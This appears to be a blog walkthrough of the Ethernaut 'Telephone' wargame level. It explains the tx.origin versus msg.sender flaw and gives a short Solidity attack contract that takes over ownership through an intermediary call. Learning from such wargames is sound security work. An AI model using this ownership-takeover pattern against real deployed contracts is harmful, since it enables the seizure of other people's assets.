Ethernaut Challenge 4 Telephone
The key ideas are:
- tx. origin is a global variable in Solidity which returns the address of the account that sent the transaction
tx.origin
(address
): sender of the transaction (full call chain)msg.sender
(address
): sender of the message (current call)
- The exploit happens in the line
if (tx.origin != msg.sender) {
owner = _owner;
}
This means that if the attacker contract initiates the transaction, but forwards the attack call to another contract that has a method that changeOwner()
that calls the Telephone contract, the owner would be changed.
- Normal Scenario
Alice (EOA) call directly Telephone.changeOwner(Bob)
tx.origin
: Alice addressmsg.sender
: Alice address
- Attack Scenario
Alice (EOA) calls a smart contract AttackTelphone.attack(Bob)
that calls Telephone.changeOwner(Bob)
Since the address that initiates the transaction is different from the address that calls changeOwner
, the exploit happens.
Solution Code
abstract contract Telephone {
function changeOwner(address _owner) public virtual;
}contract AttackTelephone { Telephone myContract; function attack(address telephoneContract, address newOwner) public {
myContract = Telephone(telephoneContract);
myContract.changeOwner(newOwner);
}}
A better approach would be to store the owner as a private variable and check if the sender is the owner.
Previous guides
Challenge 3: https://extremelysunnyyk.medium.com/ethernaut-challenge-3-walkthrough-w-code-f0f3f6f4d9b9
Challenge 1: https://extremelysunnyyk.medium.com/ethernaut-challenge-1-walkthrough-w-code-2b96cecb99fa
Challenge 2: https://extremelysunnyyk.medium.com/ethernaut-challenge-1-walkthrough-w-code-e535bcf9fcf7